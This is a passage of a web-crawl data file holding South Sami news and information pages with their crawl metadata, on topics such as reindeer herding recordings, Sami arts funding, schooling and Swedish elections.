jeanoeh, Namsene, Stjørdalen jih Verdalen jeanoeh øøvre dolvin.\nNoerhtede båata.\nElmie Monse jaksa dæjstan Namdaeliem, Helgelaantem, Saelhtie vaeriem jih Åarjel-Salten. Abredh jih dulvie. Njalhkede jih voedtjene geajnoeh dorje tjuerieh muvhth geajnoejde steegkedh.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.nrk.no\/sapmi\/daelie-elmie-monse-baata-1.12124310","date":"2018-08-16T16:36:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221211126.22\/warc\/CC-MAIN-20180816152341-20180816172341-00497.warc.gz","language":"sma","language_score":0.9999083281,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999083280563354}","num_words":88,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Johan Martin Stenfjell 1900 – 1969\nDaejnie baantedimmine åadtjobe govledh Johan Martin Stenfjellen göökte joekehts guvhkiehtimmievuekieh. Dïhte dejtie jïjtje nuhtjeme gosse bovtsigujmie gïehteli Kolbotn sïjtesne, daelie Voengel Njaarke.\nGuvhkiehtimmie jïh vuejiehtimmie bovtseste\nOla Kai Ledang, Nöörjen almetjemusihkeinstituhte lea baantedimmide dorjeme 1966. Dah leah daelie akte bielie Ruong, Frette & Jernsletten vokaalevåarhkoste Saemien våarhkosne (SAMI\/PA- 1033). Lill Westerfjell Kalstad dïedtem åtneme baantedimmide veeljedh jïh nedteteekstem darjodh.\nJohan Martin Stenfjell aktene låavthgåetesne giesielaantesne reakasovvi 20.06.1900. Altese eejhtegh lin Lars Jonassen Stenfjell jïh Marit Nilsdatter Westerfjell. Dïhte lij gåalmede maana govhte åerpienistie.\nBåatsoe altese barkoe sjïdti aaj gosse lij geerve. Altese åerpenh pruvrin jïh debpede juhtin, jïh dïhte beetsi jïh oktegh gïehteli. Dan åvteste sïjhti låemties krievviem utnedh, guktie aelhkebe sjïdti dejnie gïehtelidh. Altese dakteren mietie, Eli Kappfjell lij göökte vihkeles krïevenassh juktie dejnie lyhkesidh. Dïhte tjoeri gaagnes båatsoebïenjem utnedh jïh gïelem naemhtie nuhtjedh guktie dovne bovtse jïh bïenje satnem leajhtadin jïh guarkajin maam edtjin darjodh.\nDennie voestes baantedimmesne, vuejiehtimmie bovtseste, govlebe guktie gïelem nuhtji juktie bovtsem vuejiehtidh, seamma tïjjen goh bïenjese beevni maam dïhte edtji darjodh. Dennie mubpene baantedimmesne, govlebe guktie Johan Martin bovtsem guvhkiehti guktie dah sov minngesne dåeriedin.\nVáclav Mareken gærjesne, Samene i Susendalen, Lars Børgefjell lea tjïelkestamme guktie ryöjnesjæjja gïelem nuhtjie ihke satne jïh krievvie edtjieh sinsitniem goerkesadtedh. Ryöjnesjæjja ovmessie baakoeh, tovnamelodijh jïh vieksiesvoetem gïelesne nuhtjie gosse edtjieh krievviem vuejiehtidh, drïektem stuvredh jallh otnjegem jarkelidh. Dah maehtieh aaj guvhkiehtieh guktie krievvie sov minngesne båata. Seamma tïjjen ryöjnesjæjja bïevnesh bïenjese vadta mij lea ryöjnesjæjjeste lïereme gellie bïevnesh goltelidh.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.arkivverket.no\/om-oss\/sami-arkiiva\/johan-martin-stenfjell-1900--1969","date":"2018-08-22T05:12:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221219495.97\/warc\/CC-MAIN-20180822045838-20180822065838-00281.warc.gz","language":"sma","language_score":0.9999738932,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999738931655884}","num_words":241,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerredigkie lea nænnoestamme saetniesvoetekommisjovnem tseegkedh mij edtja daaroedehtemepolitihkem jïh dam ovreaktam goerehtidh mah leah dorjeme saemiej jïh kveeni vööste Nöörjesne. Daelie maahtah raeriejgujmie båetedh Saetniesvoetekommisjovnen mandaatese. Saemiedigkie ræhpas tjåanghkojde böörede juktie Saetniesvoetekommisjovnem ektiedidh saemien siebriedahkesne.\nGåessie\/tïjje\/gusnie: Måantan voerhtjen 16. b., 16.00-18.00, Samien Sijte, Snåase\nLohkh vielie dan bïjre daesnie:\nhttps:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Raerieh-Saetniesvoete-jih-maaahtadimmiekommisjovnen-mandaatese\n_________________________________________________\nStortinget har vedtatt å etablere en sannhetskommisjon som skal undersøke fornorskningspolitikken og den uretten som er begått mot samene og kvenene i Norge. Nå kan du komme med innspill til Sannhetskommisjonens mandat. Sametinget inviterer til åpne møter for å forankre Sannhetskommisjonen i det samiske samfunnet.\nTid og sted: Mandag 16. april, kl. 16.00-18.00, Saemien Sijte, Snåsa\nLes mer:\nhttps:\/\/www.sametinget.no\/Nyhetsarkiv\/Innspill-til-Sannhets-og-forsoningskommisjonens-mandat","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/yellow.place\/en\/e\/stiftelsen-saemien-sijte-sn%C3%A5sa-norway-201804161700","date":"2018-10-19T03:39:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512268.20\/warc\/CC-MAIN-20181019020142-20181019041642-00156.warc.gz","language":"sma","language_score":0.9612725973,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9612725973129272, \"sme_Latn_score\": 0.03284793719649315}","num_words":105,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien tjiehpiedæjjaraerien barkoe\nSaemien tjiehpiedæjjaraerie (STR) tseegkesovveme 1987 jïh STR:n ulmie hijven jïh gellielaaketje saemien tjeahpoejïelemem evtiedidh. Saemien tjiehpiedæjjaraerien barkoe lea raerien jïh lïhtsegesiebriej ekonomijen jïh tjeahpoepolitihken ïedtjh evtiedidh dovne noerhtelaanti beetnehviedtiejidie jïh voernges institusjovnide.\nSaemien tjiehpiedæjjaraerie sekretariaatine barka govhten saemien tjiehpiedæjjaj siebrien åvteste (man joejkijh, filmebarkijh, gærjatjaelijh, guvvietjiehpiedæjjah, scenetjiehpiedæjjah jïh komponisth njieljene rïjhkesne). Dah siebrieh leah joejkiji siebrie (JS), Saemien filmebarkiji siebrie (SFS), Saemien gærjatjaeliji siebrie (SGS), saemien tjiehpiedæjjaj siebrie (STS), Saemien scenen (SS) jïh Saemien komponisti siebrie (SK).\nSaemien tjiehpiedæjjaraerie aaj beetnehdåarjegi baaktoe tjiehpiedæjjaj faageles åvtanimmiem evtede jïh dåårje . STR Saemiendigkien tjiehpiedæjjastipeendh, tjeahpoefoentem, noerhtelaanti jarkoestimmiedåarjegh jïh Saemien tjiehpiedæjjaj jïh gærjatjaeliji beetnehfoentem reerie. Tjiehpiedæjjah mah eah leah lïhtsegh STR:n lïhtsegesiebrine maehtieh stuhtjem dåarjegijstie hohtjedidh. Fïerhten jaepien dåarjegeöörnegh vadtasuvvieh medtie 4-5 millijovni nöörjen kråvnaj åvteste Saemien tjiehpiedæjjide jïh bertemidie.\nSaemiedigkieh Nöörjesne, Sveerjesne, Soemesne jïh noerhtelaanti ministereraerie beetnegh vedtieh Saemien tjiehpiedæjjaraaran jïh raerie tjeahpoepolitihkine barka gaajhki saemiedigkiej, noerhtelaanti ministereraerien jïh jeatjah institusjovni muhteste jïh aaj internasjonaalen daltesisnie barka.\nSaemien tjiehpiedæjjaraerie Nöörjen Saemiedigkine latjkoe dovne guhkies jïh åenehks tïjjen tjeahpoepolitihken ulmiej jïh barkoej bïjre. Guhkies tïjjen politihkem mieriedamme laavenjostoelatjkosne mij njieljie jaepieh jåhta jïh åenehks tïjjen politihkem mierede fïerhten jaepien tjiehpiedæjjalatjkosne. Guhkies tïjjen laavenjostoelatjkosne mieriedamme fïerhten jaepien tjeahpoelatjkoem gïetedalledh jïh vijries tjeahpoepolitihkeles ulmieh jïh eensilaakan stuhtjeulmieh vuartasjidh. Dïhte tjiehpiedæjjalatjkoe galka fïerhten jaepien dah budsjehtemierieh mieriedidh dåarjegi åvteste mejtie vedtedh Saemien tjeahpoeorganisasjovnide, Saemien tjiehpiedæjjaraaran, faagebïhkedæjjide, stipeendide jïh vuesiehtimmiedåarjojde.\nJis sïjhth jeenebem daejredh, govlesadtedh mijjem goerem baaktoe jallh:\nSámi Dáiddárrráđđi\nBoks 23\nN-9735 Kárášjohka\nNorway\nemail@example.com\nTel. +47 784 67 006","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/samidaiddar.no\/aarjelsaemiengielese\/","date":"2018-10-23T19:26:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516892.84\/warc\/CC-MAIN-20181023174507-20181023200007-00123.warc.gz","language":"sma","language_score":0.9999707937,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 0.9999707937240601}","num_words":240,"character_repetition_ratio":0.132,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stueriedamme daam healsoe-gåetiem Snåasesne. Daam dihte reektehtse tjaalege vuesehte. Snåasen tjïelte 28,2 milljovn krovnah daan bigkeme barkose sjïehtiedamme. Daelie dihte reektehtse vuesehte tjïelte maakseme 33,528 milljovn krovnah jih buektiehtidh, daam bigkeme barkoem gelhkiehtidh.\n5,5 miljovn krovnah duvrebe.\nIj leah dihte Snåasen tjïelten åvtehke Vigdis Hjulstad Belbo daan bijre aajhtseme.\n– Ibie daan bijre aerebi govleme . Tjoeveribie reereme jih politihkere barkoem bueriedidh, Belbo jeahta, daan Trønder plaaran.\nSnåasen tjïelten åvtehke reerenasse, edtja daam galkeme-reektehtsem gïehtjedidh jih gietedalledh.\nMaahta jeatja bigkeme prosjeektide heerredidh.\nDaan mearan, Ij Snåasen tjïelten åvtehke Belbo sijhth maam moenedidh magkeres ealamadtjevuekie sjædta.\n– Tjoveribie daelie beetneh-soejkesjem vuejnedh. Satnan lea, jienebh beetnegh daan bigkeme barkose løøneme.\nDaam baenie-klinijhkem aaj bueriedamme.\n– Ij lij dihte aalkoevistie meatan, daan tjïelten bigkeme soejkesjene. Dihte 1,2 milljovn krovnah duvrebe sjidti, Belbo jeahta daan Trønder plaaran.\nReektehtsen mietie, dihte healsoe-gåetien, gaskoe gåetie duvremes sjidti jih dåvvedh.\nDårligere enn antatt\nMillionoverskridelsene forklares i dag blant annet med at oppgraderingen av mellombygget på helsehuset ble mer komplisert enn det man trodde.\nDeler av himlinger måtte rives, og det avdekket det Ornæs kaller mindre gode tidligere utførelser som manglende lydisolasjon og utette tilslutninger. Flere av fagene ble berørt av dette.\n«Kostnadsbildet i denne utvidelsen av renoveringen ble beklageligvis ikke godt nok ivaretatt. En oppgave som blant andre sekretær for komiteen skulle ha tatt opp og videreført», heter det i sluttrapporten","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.nrk.no\/sapmi\/healsoe-gaetie-duvrebe-sjidti-1.12050055","date":"2018-10-17T15:33:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511175.9\/warc\/CC-MAIN-20181017132258-20181017153758-00156.warc.gz","language":"sma","language_score":0.9981649518,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9981649518013}","num_words":216,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NOERESTIPENDIJE\nFïerhten jaepien giesiegaahtjemisnie SIF noerestipendije vadta akte nïejtese jïh akte baarnan.\nKrïebpesjh juktie maehtedh stipendijem åadtjodh persovne ij åadtjoeh båarasåbpoe enn 18 jaepien båeries årrodh jïh lïhtsegh nueliesiebresne SIF´se årrodh. Dïhte edtja saavrije årrodh jïh maam akth sjïere dorjeme saavremasse. Saemien gaahtjeminie aerebe meatan orreme aevhkie bene ij krïebpesjh leah juktie stipendijem åadtjodh.\nSïjhtede gïem akth noerem stipendijasse tjaatsestidh? Syökemem seedth åejvese: 30e suepede","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/samiskidrott.nu\/stipeende\/","date":"2018-10-15T22:16:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509845.17\/warc\/CC-MAIN-20181015205152-20181015230652-00333.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":64,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline åahpenidh 3b. Lohkemegærja. Mubpiegïeline\nDaate lohkemegærja lea 3b. daltesasse mubpiegïeline. Dah teksth leah ovmessie sjangerinie jïh dovne åenehks jïh guhkie. Guvvieh gærjesne edtjieh vielie teksti bïjre soptsestidh. Dah edtjieh aaj viehkine årrodh jïh edtjieh teksten goerkesimmiem evtiedidh.\nBarkoegærja, bïhkedimmie lohkehtæjjide jïh CD aaj gååvnesieh.\nDenne leseboka er for nivå 3b andrespråk. Tekstene er i ulike sjangere og det er både korte og lange tekster. Illustrasjonene i boka skal fortelle mer om tekstene. Samtidig skal de være til hjelp for å fremme forståelsen av teksten.\nI læreverket Gïeline åahpenidh 3b for andrespråk finnes også arbeidsbok, lærerveiledning og CD.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/solumforlag.no\/boker\/g%C3%AFeline-%C3%A5ahpenidh-3b-lohkemeg%C3%A6rja-mubpieg%C3%AFeline","date":"2018-10-22T20:46:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515539.93\/warc\/CC-MAIN-20181022201445-20181022222945-00308.warc.gz","language":"sma","language_score":0.9885194898,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9885194897651672}","num_words":107,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåaroenïerh Amerikeste, haepkine eatnemem vaaksjoeh, guktie eatneme vååjnoe jih lïeredh guktie maehtieh tsukngie vearaldisnie girtedh.\nDaate haarjanimmie aalka njoktjen 2 .b.– 9.b. jih gohtje Cold Response jih edtjieh Noerhte- Trööndelaagesne hööllestidh.\nSoldath ovmessie laantijste båetieh\n16.000 dåaroenïerh luhkienielje laantijste, edtjieh daelvie vearaldisnie haarjanidh. Daelie dah soldath Noerhte-trööndelaagese feeleminie. Dah edtjieh Stïentjesne, Naamsosne, Kråangkesne, Harransne, Tronesne jih Snåasen jaevrien bïjre haarjanidh.\nBïjle raajroe geajnoe mietie\nBåetijen hïeljese edtjieh jïjnjh militære bïjlh geajnoej mietie vuejedh, guktie dah guhkies bïjle raajroeh maehtieh geajnojde domhpesjidh. Edtjieh girtieh, haepkiejgujmie girtedh, skovhterigujmie vuejedh jih vïnhtsigujmie mearoe gaedtiem geehtedh.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.nrk.no\/sapmi\/daaroenierh-edtjieh-noerhte-troondelaagesne-haarjanidh-1.12822802","date":"2018-11-19T04:29:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745015.71\/warc\/CC-MAIN-20181119023120-20181119045120-00487.warc.gz","language":"sma","language_score":0.9999747276,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999747276306152}","num_words":90,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie Mikkel Eskil Mikkelsen lea joekoen geerjene ihke daate barkoe mij lea dorjesovveme juktie saemien skïemtjesåjhtereööhpehtimmine nïerhkedh, daelie vååjnoe goh illedahkh vadta.\n– Daate sæjhta akte stoerre lutnjeme årrodh saemien siebriedahkese, Mikkelsen jeahta.\nFaalenasse edtja vadtasovvedh akten laavenjostoen tjïrrh UiT Nöörjen arktiske universiteeten jïh Saemien jïlleskuvlem gaskem, jïh sæjhta 25 bielietïjjen studijesijjieh tjeekedh. Lissine daejtie studijesijjide, reerenassekrirrieh jïh KrA sijhtieh vierhtieh vedtedh evtiedimmieåaside Saemien jïlleskuvlese juktie daam studijem tseegkedh. Tjåanghkan daate ovrehte 2 millijovnh kråvnah 2019.\nMikkelsen Saemien jïlleskuvlem jïh UiT Nöörjen arktiske universiteetem garmerde dej væljoen åvteste ektesne daam saemien skïemtjesåjhtereööhpehtimmiem prioriteradidh.\n– Daan tjïrrh dah rïektesisnie vuesiehtieh dah sijjen siebriedahkedïedtem saemien siebriedahken åvteste itjmieslaakan vaeltieh, Mikkelsen jeahta.\nJis gihtjehtimmiem sïjhth gaskesadth Mikkel Eskil Mikkelsen, mob. +47 917 42 161","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Stoerre-lutnjeme-saemien-siebriedahkese","date":"2018-12-19T15:19:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376832559.95\/warc\/CC-MAIN-20181219151124-20181219173124-00590.warc.gz","language":"sma","language_score":0.9999696016,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999696016311646}","num_words":112,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme dan barkoegietedallemassese\nBarkoegietedallemassen faalaldahkem bööremes jaksah dennie internetesne\nTjaalessijjie dan Barkoegietedallemen gåetiesäjrose lea arbetsformedlingen.se. Daesnie dejtie loeves barkojde gaavnh jih daesnie datne mij barkoevedtije maahtah dejtie loeves sijjide vuesiehtidh. Bievnesh leah jaksoes mieresne ålmegidie abpe dygnide.\nBarkoegietedallemen Viehkiehtäjjan — teelefovne lea 0771-416 416\nDatne maahtah aaj Viehkiehtäjjam ringkedh, dellie teelefonen tjirrh faalaldahkem åadtjoeh. Dellie barkoegietedallijjnie åadtjoeh soptsestidh. Viehkiehtäjja gaajhkide jaksoes lea, aarke-biejjieh tsåahka 8-17.\nJienebi sijjine barkoegietedallemh gååvnesieh\nDaelie gosse barkoenamhtah leah, ohtsedh dam gietskemes barkoegietedallemem, jis ij dihte viehkie ryöhkoeh maam internetesne åadtjoeh.\nEures\nBievnesh barkoen bijre, barkoediedth jih jielemesvuekieh Svöörjesne jih jeatjebi laantine dennie EU\/EES`ísne barkoeohtsedäjjah jih barkoeveedtije, eengelsken, tysken, fransken jih daaroen gieline dan Eures`esen svaalhtesen nuelesne gååvnese.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www2.arbetsformedlingen.se\/other-languages\/oarjelsaemien-giele-sydsamiska","date":"2018-12-16T15:05:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827769.75\/warc\/CC-MAIN-20181216143418-20181216165418-00524.warc.gz","language":"sma","language_score":0.9999767542,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999767541885376}","num_words":109,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Det finns flera syften med modersmålsundervisning. Den ska ge eleven möjlighet att utveckla kunskaper om sitt modersmål och förmåga att kunna uttrycka sig. Eleven ska också få utveckla sin tvåspråkiga identitet och kompetens.\nEn elev som har en vårdnadshavare med annat modersmål än svenska ska bli erbjuden modersmålsundervisning i detta språk om:\nEn elev som tillhör någon av de nationella minoriteterna ska bli erbjuden modersmålsundervisning i elevens nationella minoritetsspråk. Elevens vårdnadshavare behöver inte ha minoritetsspråket som sitt modersmål. Eleven behöver inte heller ha grundläggande kunskaper i sitt minoritetsspråk för att bli erbjuden modersmålsundervisning i sitt nationella minoritetsspråk.\nKommunen är skyldig att ordna modersmålsundervisning i ett språk om minst fem elever väljer det och om det finns lämplig lärare att tillgå enligt 5 kap. skolförordningen (2011:185).\nNär det gäller modersmålsundervisning i samiska är kommunen skyldig att ordna undervisning även om färre än fem elever väljer språket, om det finns lämplig lärare att tillgå. Det går bara att läsa ett språk som modersmål.\nÅarjelsaemien\nGellieh ulmieh ietniengïeline gååvnese. Dïhte edtja learohkem nuepiem vedtedh maahtojde ietniengïelen bïjre övtiedidh jïh aaj maahtoem buektiehtidh soptsestidh. Learohke edtja aaj altese gööktengïelen identiteetem jïh maahtoem övtiedidh.\nAkte learohke mij åeliem åtna jeatjah ietniengïeline goh daaroengïele edtja ietniengïeleööhpehtimmiem dan gïelese faaledh jis:\nAkte learohke mij akten dejstie nasjovnelle unnebelåhkoealmetjijstie edtja ietniengïelelohkehtimmiem learohken unnebelåhkoegïelesne faaledh. Learohken åelie ih daarpesjh unnebelåhkoegïelem goh ietniengïelem utnedh. Learohke ij daarpesjh maadth-daajroem unnebelåhkoegïelesne utnedh ihke unnebelåhkoelohkehtimmiem altese nasjovnelle unnebelåhkoe gïelesne sutnjan faaledh.\nTjïelte dïedtem åtna ietniengïelelohkehtimmiem akten gïelesne öörnedh jis unnemes vïjhte learohkh gïelem veeljieh jïh lohkehtæjjam gååvnese numhtie guktie skuvledïedtesne (2011:185) tjåådtje.\nGåessie ietniengïelelohkehtimmien saemien gïelesne, tjïelte dïedtem åtna lohkehtimmiem öörnedh læjhkan gåessie unnebe goh vïjhte learohkh mah gïelem veeljieh, jïs lohkehtæjja gååvnese. Dïhte gåarede ajve aktem gïelem goh ietniengïeline lohkedh.\nRelaterad information\nSamiska är ett nationellt minoritetsspråk\nDe nationella minoritetsspråken är finska, jiddisch, meänkieli, romani chib och samiska.\nSpråklagen (2009:600) fastslår att det allmänna har ett särskilt ansvar för att skydda och främja de nationella minoritetsspråken.\nSaemiengïele akte unnebelåhkoegïele lea\nDah nasjovnelle unnebelåhkoegïelide leah soemengïele, jiddischegïele, meankiele, romani chibe jïh saemiengïelide. Gïelelaake (2009:600) jeahta ahte siebriedahke sjïere dïedtem åtna dejtie nasjovnelle unnebelåhkoegïelide vaarjelidh jïh evtiedidh.\nSenast ändrad\/granskad: 20 september 2018","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.stromsund.se\/1023.html","date":"2018-12-14T22:47:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826354.54\/warc\/CC-MAIN-20181214210553-20181214232553-00490.warc.gz","language":"sma","language_score":0.9898767471,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9898767471313477}","num_words":351,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sveerjen veeljemeöörnege\nSveerjen veeljemeöörnegen våarome lea byjjes jïh seamma tjaatsestimmiereakta.\nVeeljemh edtjieh frijje, tjeakoes jïh rïekte årrodh. Veeljemeöörnege proportionelle. Dïhte sæjhta jiehtedh dah partijh åadtjoeh dan gellie mandaath v.g rïjhkebiejjesne goh man gellie tjaatsestimmieh dah leah veeljemisnie åådtjeme.\nSveerjen veeljemeöörnegisnie veeljemh jïh åålmegetjaatsestimmieh. Veeljemelaake, veeljemenjoelkedasse, åålmegetjaatsestimmielaake jïh gellie jeatjah laakh stuvrieh guktie edtja veeljemh jïh åålmegetjaatsestimmieh tjïrrehtieh.\nByjjes veeljemh\nVeeljemh rïjhkebeajjan, tjïelte- jïh laantedigkiereeremidie skïereden mubpien aejlegen fïerhten njealjeden jaepien hööltieh.\nVeeljeme Europa-parlameentese gaajhkh Europan unijovnen lïhtsegestaatine boelhkesne voerhtjen – snjaltjen fïerhten vïjhteden jaepien hööltie. Sveerjesne veeljemem iktesth aejlegsbiejjien.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/info.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/sveerjen-veeljemeoornege.html","date":"2018-12-14T15:51:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825916.52\/warc\/CC-MAIN-20181214140721-20181214162221-00572.warc.gz","language":"sma","language_score":0.999994278,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999942779541016}","num_words":88,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vierhtieh fååtesieh\nGuttorm lij maaje sïjhteme vuejnedh gïeleööhpehtimmie åarjelsaemien gïelesne aktem studijeprogrammem åadtjoeji aalkoekuvjsen raejeste akten maasteren jallh dåakteregraaden raajan, men dan åvteste dovne faagealmetjh jïh ekonomeles vierhtieh fååtesieh dellie jïlleskuvle ij nuepiem utnieh dagkeres iktemierien ööhpehtimmiem faalehtidh.\n– Manne gujht daam aajhpehtsvoetem guarkam jïh mijjieh limh sïjhteme dïedtem vaeltedh bacheloren jih maasteren åvteste åarjelsaemien gïelesne, men daan biejjien ibie dejtie faagealmetjidie utnieh mah maehtieh gïelem vaeltedh jollebe daltesasse. Daan biejjien ibie daam maahtoem utnieh. Unnemes 2-3 faagealmetjh daerpies mah maehtieh dïedtem vaeltedh daej studiji åvteste. Tjoerebe dovne Universiteetine Romsesne jïh Sveerjine gaahtjedh, Guttorm jeahta.\nSaemien jïlleskuvle lea aalkeme daam tsiehkiem digkiedidh dej ovmessie gïelejarngigujmie jïh gegkeste mij akt tjïelke daestie båata naa varke.\n– Mijjieh aaj dam ekonomijem fååtesibie mij lea daerpies juktie dagkeres ööhpehtimmiem buektiehtidh. Dam maehtebe ajve buektiehtidh jis giehpiedibie dejtie noerhtesaemien ööhpehtimmiefaalenasside jallh saemiedigkiem meatan åadtjobe jïh destie jienebh vierhtieh åarjelsaemien ööhpehtæmman åadtjodh, Guttorm tjïelkeste.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samimag.no\/sma\/content\/vierhtieh-faatesieh","date":"2019-01-17T04:50:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00493.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":146,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåessie gijre doekoe, edtjieh saemien fuelhkieh Hummlevaeresne gaavnesjidh, tjoejkedh jih gïerestalledh.\nGadtsegarhke lea maanatjåanghkoeh, gusnie maanah,eejhtegh jih båarasåbpoe bolve akten aejkien askesne, Rörosen dajvesne gaavnesjieh.\nSaemien byjresem nænnoestidh\nDah tjåanghkoeh, edtjieh daam saemien byjresem nænnoestidh guktie dah saemien maanah åadtjoeh gaavnedidh jih sinsitnine åahpenidh. Dah tjåanghkoeh vihkeles orreme daan Røros saemien siebriedahkese. Aino Danielsen geerjene jïjnjesh sijhtieh båetedh.\n– Aalkoevistie ibie man jeenjesh, daelie jïjnjh maanah sjïdteminie jih jienebh sijhtieh tjåanghkojde båetedh. Danielsene jeahta.\nGïelesijjie\nEejhtegh jih muvhth aejkien aahka gon aajja meatan, sinsitniem ïedtjeldehtieh saemiestidh. Daan gïjren edtjieh dah saemien fuelhkieh akten biejjien ektesne Hummelvaeresne gïerestalledh. Aino Danielsen tuhtjie dah tjåanghkoe biejjieh tråjjes.\n– Dæjman mijjieh kaanovem sovkimh aktene johkesne jih dïhte joekoen luste lij, dellie göökte, göökteluhkie vïjhte almetjh meatan jih daelie luste vuejnedh man gellieh daan aejkien sijhtieh gïerestalledh, Danielsen jeahta.\nHijven daelhkie\nDanielsen bievnede, mijjieh maeksebe maanaj heis-kåarhtide jih jis gie daarpesje, treavkah, gaamegh jih klaahkah löönedh, Danielsen bievnede.\n– Voerhtjen mubpie biejjien edtjebe Rørosen skianleggesne, Hummlevaeresne, Osesne, 